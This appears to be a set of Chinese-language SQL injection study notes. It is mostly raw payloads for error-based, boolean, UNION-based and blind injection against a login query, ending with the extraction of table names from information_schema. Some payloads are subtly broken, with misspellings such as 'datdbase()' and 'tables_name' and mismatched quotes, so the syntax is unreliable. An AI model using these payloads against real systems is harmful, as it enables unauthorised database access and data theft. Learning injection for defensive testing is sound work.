SELECT*FROM user WHERE user=’uname’ AND password=’pass’
·基于报错的检测方式
‘ ” % ()
·基于布尔的检测
1′ or ‘ 1’=’1 / 1’ and ‘1 or 被过滤后用||
1′ and ‘1’=’2 / 1’and ‘0\ and被过滤后用&&
·列表数、显示信息位于哪一列
‘ order by 9–+ #按照查询列号排序(注释符 –)数据库直接返回报错信息,可以直观的判断列数(不报错的那一列)
select*是表字段数=查询字段数
·联合查询
‘ union select 1,2– 判断输入的存在于那里
union select user(),database()–
union select user(),version()–
‘ union all select datdbase(),2–
判断是否存在为空的字段
‘ and usea is null–
如果不存在为空的字段不会有变化,如果存在为空的字段会报错。非常直接的返回内建报错信息,非常清晰的判断列是否在目标服务器上存在。
盲注
基于逻辑真假的不同结果来判断
·1’and 1=1–+
·1’and 1=2–+
1’order by 5–判断列的数量
联合查询相关信息
2′ union select 1,2–
1′ union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())–
联合查询原数据库中的所有表名
1′ and 1=0 union select null,table_name from information_schema.tables#
查询当前表名
1′ and 1=0 union select null,tables_name from information_schema.columns where tables_name=’users’#